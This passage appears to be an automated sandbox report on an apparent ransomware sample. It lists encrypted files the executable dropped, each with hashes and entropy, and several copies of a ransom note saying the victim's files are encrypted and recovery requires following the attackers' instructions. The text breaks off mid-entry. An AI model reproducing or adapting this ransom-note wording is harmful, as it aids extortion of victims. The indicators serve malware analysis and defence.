                                                                                Preview: .5...=......."%c..6..y.A.}4l...r..`.:.....q......g.7.s..b..k...L.4,...Y.$...+....bR....*.X..@...3..G....5*9a....B..2...}fTc.zy.W\n..`q. aO.+.X.]...4.....U.J4FE.j.>...,..4.z..zL...k.4.=...U^I..Y\..e...:Y...8...?.I..............|W...H8...N......l..N.F.x...!.O.:% f..hh...R.P5.v?.|E..L.....jB....,...\W...=.f....{{....71.G..e.9H....pZ$...*...Zk8.q#.^'C....+B.....9..b-2......g:..........H]...1C_.+.!.\....*k...l.%..|U.!.1....t]."...~.&.Y.s..|.>..@f.h....]..F.fk.......i7..1Z..Vvt...qQ...~..*......>b..r..\...9.b..-..'.zK...8W.S0...u.......R.:..bu_..4is.....[%.m.J..c!..pd...7..BV.]..KI.Ea...6.....cj.._.Mxh.B....}..=m....._^k.K.W..y.<..r|V...@.q.B..%R...O.Y^...!.jv...*#..kE?A.....T..y.7.-a.Ie.56qN<..V.'...{z.Tj..WB~...f..+v..3\..m..C.....#...Ob+#.R.N.9JF....<...\....6.-2....f"_..5R.......!@qzIc...F{..T..K.~.[..j[...+..q.G..b..ML_>mu..e.........k..7.9.l.~..N.yI..+.....I.~.#.jSH......"4.|..J.hH..f.E.6$O.k....Q.16.....3..T..lm.-..?I$.zbD..,
                                                                                C:\Users\user\Documents\SQSJKEBWDT.docx
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.854165367087054
                                                                                Encrypted:false
                                                                                SSDEEP:24:W7WrO0gm6LF+l9PaSQzy7nH6XlNs6kX7m4BrTfu/AXkO0Jh:W8O/m6LFO6Ea1NsF7myTfu/A0O0L
                                                                                MD5:B83895233788DF7B46745C0CD2F8DF22
                                                                                SHA1:0395F7CB23F8AC541EC1BFBF22BA187B8EBB2380
                                                                                SHA-256:08DC82E3FAB4584802378679910AB7DF9E507EA8717779BB943067BED1C4AF51
                                                                                SHA-512:73FD7BB723515786C0672D159E155256491AA9510A6C565C181B02F072EEFBA1C8B4A2ED7BE13DD9E3FADBF3AC67430536E9DA8F0F64DE03A3357B4816AB3C71
                                                                                Malicious:false
                                                                                Preview: @.(.r...L..v.UJd..|..h.Y.......3`.a.n.Re*......K.....l.....(.:..........9..H......s.P.9..w....{qn...y.=.A.5.....]Q.;e.U.6......!....u..\>:|....7Ad.%..6(.(\...`..tn.C..L...;E.=....<yKD.+..Fe........y*.X.3=Fq.8:3..x).P..3.v..?..2..HD.@./&T......ADCm.....j.:..Fvv.n..y..:.,.4.e.0+...>..h$[..?<F...__..m.R5%...q.....&...o.......wG..U}P>.W...c..N[...pY9.H..k.....Q..lR..F?.Z.....!.....e...L....KW,...7XS..g?E.?...Gd..X..z..]H.....C^+!t...._.....l.....Xd]..j..[.O6 >/.E.*.....z...I'&.!..H..-.....H.J@..<.N.....#..am.}."JWiOH....(q...<..*!.f..d..w..%..'.M..E..:<..o......^...<...)4...{.v..W.W....q.Q<h...=o...+i._v.%..Vc=."......B~.#....,(........[.b....1l-.36.......I.c.....'i;0....#....+.......v.3...9.8...>....p...8.#..s.s.F.%i.......lM..3.W.I.(..L.O.C...z.=c...=g.v.v...~......4ci<... rD.rw...T .m.T.).C<.A)....kN.@......#...il....XL.zh.....Pj..A.M~...V..n;)..j......Z....F.PQ.p...4n.U.."V+....@.A.....F7.ik..."&.z.Xv."[...#....._..{b...;....Z...k..R
                                                                                C:\Users\user\Documents\SQSJKEBWDT.jpg
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.857518160961909
                                                                                Encrypted:false
                                                                                SSDEEP:24:GbgpY8LeiE4KTsGXTswNGfcr9GYJ5JFoUCBrTfu/Art:z6h4/GXTswNGUlJdmTfu/Art
                                                                                MD5:2CC996619F4461A07E3F3C8E46BA446C
                                                                                SHA1:BF6100E628D7C2D05EABECD2F76C06778029ADA3
                                                                                SHA-256:7FE1AF5E52EC2A78A7EB51D077998C4B8CFE1CF7AE609453C272ACC4DC5FAD20
                                                                                SHA-512:7B15F60381E14D5FA66FFDD125D0AC02067EB035BF29D19AA916C55B5D631797D87B83CB6D9F7B99985CAB50C75EAAEFA116994743BDD358EAD5EA78CDB60B74
                                                                                Malicious:false
                                                                                Preview: .C..p.R"...V2.@l.:.<o...rD8.:%.Pn....T.....0..m.o....3..b...|jB..O.*.Y.k.... s.zyTND.EP.V(....{k.....r.*Em.45...Y..A..r.V...!...M..?.[..KC.9. 0..L.........".....p1|....1%..nn.....|K"J....OiW..BD...-......U..[2..u....5...H.U.b....K...T....m.2..N..nc.h!..O.F..A..?J.._.Z..$.,..S.m%..-...%..Wn..?A....zAs.......!X.P.tZ...T.%...%...+g.)+c...#H..V....)..,"./....._.......<dV..!...F7(w.;.R.u.+-.7B.%8/5.h..]..|U+Ge...;..K.0k..p...*.0......W..?R$...1...q...\.g.Z....T......wm.6./...e.:.>.......w....z7...F......V..v .....f.6... B.BjL. |q?u.~)!..:<..f.p..4.....$.x ..w..S...Y..1.........5.~.A:t>.0.4....&.\].^c...UL8...S..R.h>,....3..7gp.2.:..t.e...)...b.>....bWR..s'..eH%....I....+..!.B.M....-r.....4...v.C.@..[...h.&..63mW.@.{.C....G...f..o.w..s....:q.\.|g.)`....D..(FE..m....V.`.....\.~..-5m...P.J....P..)=.nk.8.|...<...G...5.Y.0..4.....v:8...d.....tt..F3.6cG..6.&i...{....#..8p...`..TE..1.5.V..Z...ba..;h.J]H..F.L............z..4.E.%$...3bL.+P.....P.
                                                                                C:\Users\user\Documents\SQSJKEBWDT.xlsx
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.844847209796468
                                                                                Encrypted:false
                                                                                SSDEEP:24:4zIeCmHFn+yC+sCTFnLT1i5Ck6kpiHNCzWpD2nXy62rTfu/A/:45rE+sy1UCk+JpD2nXWTfu/A/
                                                                                MD5:8DAF703C7799BED5BB8FD664392ACF51
                                                                                SHA1:B3CADECE6398FC054E7E1A3F4771CDEF0EE5A9BF
                                                                                SHA-256:561A96B2E674FE09AFA8FD718BCF871CAB93CEA5FC7128A78F55DDF3E877D147
                                                                                SHA-512:3AC8179CAF55A1CB00E3048C15980D567E54E9B5618E2A2C75DCD68891FA3C22E01C69580E23559AC7FC4F4F1D7AAED998BD0CCC2D827B63223D940EC6F9E783
                                                                                Malicious:false
                                                                                Preview: l...a!.w%...........y.7..U@v].8a.,.....%{...F...b?.!x.x...r+.j...F.....R|.#E\...+f. .rO.8.#.../A.y_U.0..r...N1.....6c.c[..P'..8uz,..5.X.C+.....J.U.[Lt.g.i(.HM..RjP>.kN........b...D.JR.I...1.N......jH...d8S.&.$X..)s..Gx..n.~.S.E....PO........Q.&.n..1.c...!.........K$.J...1.K.N..}W..R...u@..z..|/y..tp=.....sO.L.[7 ./+d.......\G........}..s......P...m..7...C3...q.........Z...b..O.M.@{.SJcg...l.Z.j....;7.).._.tNJNK....J..#..0.'&(.e.._.5L\.C.'..`.i[X.*.:L....30*..w.\.g..oQl<y<J.~.1ju.F.$Y(.._...u.j......J@..Iu:...I..#0)E.._..2.iurevnX...&....V@..p[..N(.H.<5....1.}@.a.q.......e.J"....n...^..).*,.m.i..y.&.I...(+@.._."m.C.G..#.#M.m.C..:.j..5...E..0...U..i....u....=F..'.1.y.t.G.}..B}.y|p..KH.J.;.E..1.......A.Ep..I..ks.\..Ox...f.>M....=V....u.^,.........B.7IB..D6>.j.nO...Oo..8..%..R..Q.0l..).Q.V..............*...._....Za8.:........K~.N...9.....n..q..]...s<..(.6gd.%....8...'..w<:..|f.,-..%..u~.y..a..K...B....^....{...eJ.J.v .....7.w.....t.8..v$z..
                                                                                C:\Users\user\Documents\SQSJKEBWDT\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\user\Documents\SQSJKEBWDT\CZQKSDDMWR.mp3
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:SysEx File - Ensoniq
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.850554124313013
                                                                                Encrypted:false
                                                                                SSDEEP:24:ouULPeewOZthOShSbZ8WYBXOvkK1tjExqluZyUuNETOF+hgikA+7rTfu/AB:odPeedthsZ89skK1tIxEP58OF+kPTfuW
                                                                                MD5:47F18C340E06BFEDC16CC924A6D022A0
                                                                                SHA1:74AC534AA49D03E1AA0DC1FCF838983437A09570
                                                                                SHA-256:9DACA9BF6240EE32327AEF5C709DDD9CDAF6F25BEBE7815EE3DFAEE4BE4C4B9D
                                                                                SHA-512:A4B0443501EE2F2056053138066670601588AC1C8BA2BDCB5966EB62F5F6B131571571E79ED1E4BBA151B4994A8ABE331C91C4E379213193358E45874F6B49D9
                                                                                Malicious:false
                                                                                Preview: ....1.S.,.............Ru....T.j.....:.z...pb0..........[.H...B.YX.Q.y......J...A.4.'..s.V.X.Q..........V.z.&. *Y...u.....qg....H!g...5.f.K.....}...#..q...r.P?I...l$..j..9....An.(..Z.p..So..K.d.|Y.\Y4p.`.p..}2....N..'3f.k............H.8Di...;t..p.n.zR.-!%3./_... T{..y...V......(.._ML....d.V........&....`E..V..^....].ej.p..`..T.g..I..b.{jy+I)>}..<.s.\.E.'@.XK.9...z,...y....!}.hN...,pU{..[#z..z.?t.......(.*.<.].B.w.k..\A..0N.:..M..vg..In....d....j)a..X.w.wnv`*...].m....Q.U.^a..G.^0.QR.m<.q\.c.....:..u..n..&W.....7.x......Fj.... @..?2......e.H..e/...k.zN.....e$(.#.O.....m....0........Z.{}sX.YpmAi....5m....#..........2[-....L...._24........1._...9.....'B..32..E.."..q.T.)NK.`../.B.\....K,Wa{.!.B....xp..'8.....zu..._wz.....O.o..p.$l..d{YW.|5C..6.!.N..7.p...... V..W.....4.=...<.v.i..V....;=...d^..!.T..>.....W.>.p...1"....Y.{hs!.w.........c...Y..p_*Y..E...G...{.e.e..s...sN......32:.......U..Rl.p.q...+.h5..\^..\..A.....iEM.X..@..T....;L...._
                                                                                C:\Users\user\Documents\SQSJKEBWDT\EOWRVPQCCS.pdf
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.825424531874738
                                                                                Encrypted:false
                                                                                SSDEEP:24:rHMl2HjTZm8+rZU3IvQQg3EWGjjByDLeqAqitElznSs1rTfu/Agx:rpHjTloU3NQg0WGPCe1GlnNTfu/AG
                                                                                MD5:9E3CE409EAC290885FF76842805A1579
                                                                                SHA1:475CC820029D0A0B9C1DBA99208DDE3CF22EA9B6
                                                                                SHA-256:CF91B1D5F5EED1AC61334614F9A35A8CFBD5BC9BABABB4EC2ED1483218D8796C
                                                                                SHA-512:159E2436D1C1D5704A3E5F02D271826A0772D9BCA04768198BA144D9A83945C7381F691B8BA1AE2DD630973E4DDA8369D7C647C129E4F8551660F02B9271187B
                                                                                Malicious:false
                                                                                Preview: C.ub...........h.....P.........MZ!.ss....P.l.E^.......z..E'E.zn.....f"6U..7...1..^.Az..$..Z.....{.Sv~.6.sD....2'.s.)....t......(..>.Mw.>H...c.x;.......Y..!X.<).o..2....d!)..w|.5.j.0$.8-@$h.*J.... ..N..e.E@...n..9...Oq..o.W.."...z...yE.....)...;,1....^..iF"....Q..M..5...W9.H2..S...je.6.....ZO.k..P....6.t....$@".Y.#{.Y..Y..h...l.h..|pE..e.O....'2.yY:J$..$C.8.....G./.qv..Y.......J.*Nj...LH...&.|...... X.Gk....(.Z..]. ..y;q.f...*$Q..........X.t...1y..........G.z.w.2..K|}Ft.h...G.a.W..r.......Y.....1..N.+.Z..S..r..s.Lw>.+.I6".+..L....h\{..&.d....}..Za...\.kr......d.....q.."zQ.Q.tIW.z...+;....D...WM..l.D#..9.... .o....y.iN(/....K+...M".a..{.....9.....*.9..x.R.h..o%P[+..zd.B..[...;...:,>.....\I.<.3...l-..!....l.....#A..J.:.aLc..#Yc._..2.."B......}..@.."0\....6.Lm*>..3....Bsoq..'...1#.s..0Y...Bc...w.....'.>....Veb...]..P....z...[e$Y.k..../..:....lz..5....q.......;.."..R.N..z..p.a.5E...D..wn3.__..?.j.?.|]=....r......J=&nuM*....aE..M.6..F0...U...."...<..;
                                                                                C:\Users\user\Documents\SQSJKEBWDT\GIGIYTFFYT.jpg
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.838135950239202
                                                                                Encrypted:false
                                                                                SSDEEP:24:XkqIIxkoFZruPCMoJdKTr8zlb63di5GtOv5023UZ+RrTfu/Ak0:fn/CP84ozkIk+w+Tfu/Ak0
                                                                                MD5:72A47E8552784C29522A9C98F1836DC8
                                                                                SHA1:9075EF4D895A03887015E05EF304597925AC59E2
                                                                                SHA-256:5AFD45FDB893ACB79009E5016B989CAEB57C0BDCD0009B4257A722129BCBD690
                                                                                SHA-512:57A221047F1776E7F4757A53CF4BADF170EA337CDA899513CAF915FF32ECF3D104AEA753012175413BFC45AE5E497213F5DF2CF93AC49989B588994B99C2C8B4
                                                                                Malicious:false
                                                                                Preview: .q.(...47...;..0.....<........@...-..m.j~..`..q.....$.N.!...p......5....,.Y4".p...5@3]q.hQ6.*..i|..@..,i.......o...M..!...$T.S..!..q.j.F.....qUp....q.V..D..T.@^|C*x..=.....`.....*0Fx."!..P@./.9...!..?^.g.T.P...o?.(..x.^....w.o=&ej..........[..n.,..v..);....<..H(..ZW...Uf.:....g...G...W?5.....`...k.0......%....C.../..@.......h.."...d#"...?TF......g]?S0.5ms...~.".S .4P...9.lV3..U<;..E..b.......%..I....a!._;..x.......^0L..k6S......4MIYPhU........y..SR.e./..9......O../.......%UAc.4hW@=..#w.0u.H....w..... .....R...du.9..(..s.FY.r...8.~..wxc.M...j....._d......RK..7.p........V}...8.........r...n.$.6...\AF..`...I....=.c....\.q...H(.n8..K..W.5Yn.v..U..e.Z.6..>.q.D...~D.P.k...ae.t.....l..R.`U....JN...P.....^..uR.x...43'.h..-MJ.G..R....:....K5...Y..3.....v..Z..y#..U].U....[.o.1%Y1.C....O..?9..?...^...%..................n..,0 ...6.>...-.0.@..g.C..+..s.W....Uh..kx)m.^.0.T..iPF.#3..F..(e.g....Q.G...[-..m...W....|{......U8.....].G......r._..(Vhg..-.3O.....
                                                                                C:\Users\user\Documents\SQSJKEBWDT\GRXZDKKVDB.xlsx
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.830770129509524
                                                                                Encrypted:false
                                                                                SSDEEP:24:OvgYHCZINUPLqGLcw+EiOB8s4HUTpKihkq4eKdqi07uBoGR1hrTfu/Alnr:XwyDLN+Eth4WpKQkqKdoGR1JTfu/Ad
                                                                                MD5:DFECCA04B00F28205E00C4D0780ECECC
                                                                                SHA1:FBE207A9762A0E5B893E8BBE14330DF00983493B
                                                                                SHA-256:EA52F205B177FDCF1E1FF294BA8E2C91666FB78875B99DA52EE159E7C3FB9757
                                                                                SHA-512:1C3347CA4E00666C0DF922CAB7E1EAE901D8E0319421F265746E610CA5CE236A3678D3738A743C93670A3A318BAB9E99ABDB060230D13B04C27AC4D540875AA4
                                                                                Malicious:false
                                                                                Preview: A.8..2:....c2..Z...:S..'...c.4a]d.-....-M...F......K......)..P!o.OH.5...f....6j.i..h.f.m..b.9.'t.Y...Z..K.%...9...5L<......eV.V..G.b.3...Ww./Oj.]q..=.?..I...O.._.w...........A..f.Q}.e....b.-U...-.1E.....b.".t>.;sG.......e..@v.E.5M..Y......Y3^...8.".u...u..a..u.......P....Tv'.g.!..?..|......|w..+,..:...[..X.e..6.x....L..Rr.!..f.....1...!.i.n!`;.W....a|....).?...x.'a..j.q.....Bbq.....c0.....P..$...sL^..0wd..!.K.D.Tv.4...DgS..dz...A.6.b"...!Lb.?...i.R;K.*.]...CM.!.u.G.._.+f'..c.p......A%H.Vq.(.=.v.J.2`.....@..b.V).!....Y.sO...SPI...1...?ny..:ev.)t$..@>....}...d*)!z5A...r....1.z4&..n.6....?.qp.<...B..^..H.......3...W...Zs9..gb^u...M.g...L=...4._...q;...tG.(......M8s...{.....S......}..L.U..-.[Wn"....i".0W2I..."^.s....s.k.3......[..D.{D.7.S.FLh.7.......~.x^.k...k..\..5.....u.#.\.j...e.y.Z.Hcb...6.X.y..qB4g1......GAq..s..l#.^c..U.<....#.Ui+WB.D...K.o.0y^.....).t.5.4Tbi.=.Zy...GXjq...ft.C..>e%[..T..JVWP]$..}.......b.Qo...p.A#...D./...C,.
                                                                                C:\Users\user\Documents\SQSJKEBWDT\QCOILOQIKC.png
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.849808890864747
                                                                                Encrypted:false
                                                                                SSDEEP:24:dZq1ZLWpeU3KwGGER3BC5Qm20VJWAoTSBtBFZy/obEP++RrTfu/AjM1R4C:dZq1wSwaC5Qm2ckF2L7woAP7ZTfu/AjK
                                                                                MD5:4E573DE7364E2FFF23668C84FC43E68B
                                                                                SHA1:37732DC40DE82F094DCE4272E8C73CB7289FD30F
                                                                                SHA-256:6C7A09AFEB077962F131B5F3C0D77251F1CEA15F6BC855CBA4F9B78142C2DB81
                                                                                SHA-512:A051284184124450C74B8FCEA87F9CFAC1AF9A5597B1B1A40E9D38DC9134307C6A9405DDE16C2664D6EB91A92DDFE0977D4E887CFE309B605C617EDB36F4631E
                                                                                Malicious:false
                                                                                Preview: .Y*.>....6.....Y.....6\...|....}.s...n..I..r%........~...tA\Ug.:....}..`b.#..\..,g.....?.....sS......a...47...!.6...w....+.-.D.W.v...=\.0z.......q.4....f......z.Jj.F..B.-..#l...-.Hf...i;.*.0rZ5A..Q..Y....-_e.q..~5.x..*r....a.$ "../*.L(! @.........r...".w.m...]..Kr.....J5F5..K:'...F..Y..X.zTGW..V......v........r.Z.J)1T@.%....0.....c.@T.8....?......nU..[.-.r)...P-?.mY....d....P..9}.F|..XV#....WQ.Mp.&p.t .'..,.$..2@x{?..\.....v...e...v.<.M.....\..a.[f.}..Q.....n*.=..#.a-..mM.P./#.p.UX..v.........Itn._..k.-k.J...>%y.R...`..C..Cw.....0.>..8...O$Y...h).....h.......K...c...~.-.,h:.k....d..F...w.........P...vi.a.yn..G...J...!.Fx.d....A.u/......kLR.#.~q7.{.l..{9...a.L1..#..K.WH..7.[....!d.....Kt.u(.f...d.&d...1.j15..M..w.U.U.+.........h.c.QE.V......C....X6.....|.F[.[C...8.9.`.U. ....R.....6.W..f1.uml...+._%..p....N.".E..9...+,.6.W3...9...u0.c...O..{H..`.-.......k..P..9..K!`q].t..t.g.#o....t.z..x.......4ft../_%.............i..V._2....i..O.,S...d.
                                                                                C:\Users\user\Documents\SQSJKEBWDT\SQSJKEBWDT.docx
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.848823375202286
                                                                                Encrypted:false
                                                                                SSDEEP:24:XbAajkM1DUl1j7V9SpZYaRNhRZhopuIo/tMZwtq9bqrTfu/AL/IJA:XbHjkCUl1HV8pZlRN5hwo/tOfgTfu/AH
                                                                                MD5:2FC9C0AF1E8B92128F0F0F8471739881
                                                                                SHA1:D796A3BE7B1B073D2A739CDD0B87E23DEA0E9CF4
                                                                                SHA-256:45E230724747225CA987E2543C1711EDEF83C13F4B3020663020A25B517152D2
                                                                                SHA-512:AE8EC64B08737B6890603D1E50602AF9F62283AD8499ADACAAC49DA9B719793DA287DF9B52B9AF695D84044652629530BC1B9A1E7B55E8C30D448993A0EB10F1
                                                                                Malicious:false
                                                                                Preview: ..1.....#.......!.L.0...a.0..-06........qE..n.....N..g.?....p.B...+...U.N..o^z..C......6..Z....x...~A..%..o#<.".#=.~6.y@..e...v...}..v.+S..Y......c.P./...8..=:.6...Gh..t..^P...f&E.jD......f.N...'...=.tz.....{n....A.M5....f..I..x...._...F....T........;..^:@*.'0;.v.........kS...T[..'..D..@1.y....3mw.|.h.. [...."..o..L.|)52...j.M..i*.SfP..bE....@..V.(3R._0e]+..s.>t.V.c.9Vp..|.D....V.Y5o...\O.....N....1.X-..&.!r..H"..f...`....{..{W.W.....,w.f...>o o!.MYy..?......tVS..\c..s`I..?n.%..G....SlZ'^.c..y..z{P.-..}I4....cO=_...F....R...uc...C. ..S...o.O!..v\.G..\w.....m.e..#.rV..B.....}..".;X.1.>o..!.........@....N.y...._^.......7...}...5.}..+.o.b..PW...?.<..N...;.c...D...B...m...b.....m...H .E$...... :._..?.`..EN..;Etu....V;...&[........c.[Jx<z..h.2...m..Bk.....DUe+.^O..m.A..7....y2.Q..p.&f(...u..8.{.DP.....9...iy...;.T..Uq!.L.....FCuK8.z+....C......0.@.F}.m.u....7V...Q..I.w.....A....&6Q...".2. zL.-:...~.r.X$:E...d.+'...........k!..1...~..TW..
                                                                                C:\Users\user\Documents\SUAVTZKNFL.docx
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.851491498536968
                                                                                Encrypted:false
                                                                                SSDEEP:24:1D7VYGxP9WPffd9oSwR/BthnPlj20KwfOzSbPZ3RNhrTfu/AEr:wGxPeffcSw7thPgHxzS9tTfu/Ak
                                                                                MD5:0E449A5626E6B781E33B73D7593D2378
                                                                                SHA1:2303B04400F99C19EE70E6599A6CDF3A47AAAAE3
                                                                                SHA-256:A1E2BD484B43D833F803B701496EAD8A8592CCFFCE90CB08ACEF306E66174241
                                                                                SHA-512:3B4E8F26CD825BF81781A51F49363D35DC7C84C517D6638FE6127DDBE4DC708CEC3D230C4EF757919ADC2CD30870FED640DD17207967BE57F37B9FC1DC557803
                                                                                Malicious:false
                                                                                Preview: $..s.R..9....i.<A)P..yA.V.,...p.tq....Z....q......,R....H........{.K....r$.uNK._/.\.......<2.V4...J_NW.......^:,.B]......Rn'@...-..K^.j.\.6@P....N.V.S.?GH({E...~$...../.&..n+k=..@...{c........X)l.vi.=2.R..'.j._...H.@...i{KW..6.K0.q*..l.ud%.{....p}.{...P.JB.y9..%........+.y.N.8.].qa&.....~....N....KH...t..V.C.?..I.h..t.;K.L.O...c..y.xj.3..E......Z..\..*&...t....6.J#.Y.6..../...y.79.t<...t^...P..M-........9Q.o.k.... E...4.........T._*h..,..#3.'.-.-.d...g..F......FB.2Z..sm....h.Sn.....k.S..Y...K...O.}Q..z...+..O.Su...#....R.....&...."=.o].!..l....H..s.H...-..'X.VJ...&g.).8;..H..!...3O.*......S....~......m.BZ.18MK.h..o.."..pcq.u.P..U......CY..X..{..[=^V...4.. T.(...g0~....3..6.....sN.....0;.....O.^.5..7.8W...^..|.<!.$......P.X.j{...z..Q.".....U.m.6..x..N...$q.7....A...st.b.....k%.&..A.,........0.XK?&@.N.R3J^.+QL........I.]w...P..2.5..Y.....V.%.0q2.....4.r.........o.6.|.LY+[...W.........'1..I.w.. %.<.R.EMX..Q0.!.qL...w..2./s.pL..%.....@..T
                                                                                C:\Users\user\Documents\SUAVTZKNFL\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\user\Documents\SUAVTZKNFL\BNAGMGSPLO.pdf
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.8593098390247045
                                                                                Encrypted:false
                                                                                SSDEEP:24:VWP2bzK7hRObBV7bpEozmtTFZUKjsBwqeTB3jVW2rTfu/ALZ:VI2bzyRObBVHpEozmtrjnxcsTfu/At
                                                                                MD5:1ECC5AD36E869C05B0E5F39C17887217
                                                                                SHA1:D73D28D5430653F9165EA9B5ABEF2E09B0EDF0D1
                                                                                SHA-256:A60481EFE37D40474F06B9767EDE896AE2A8BDB8863F43BA7875053D8161FA30
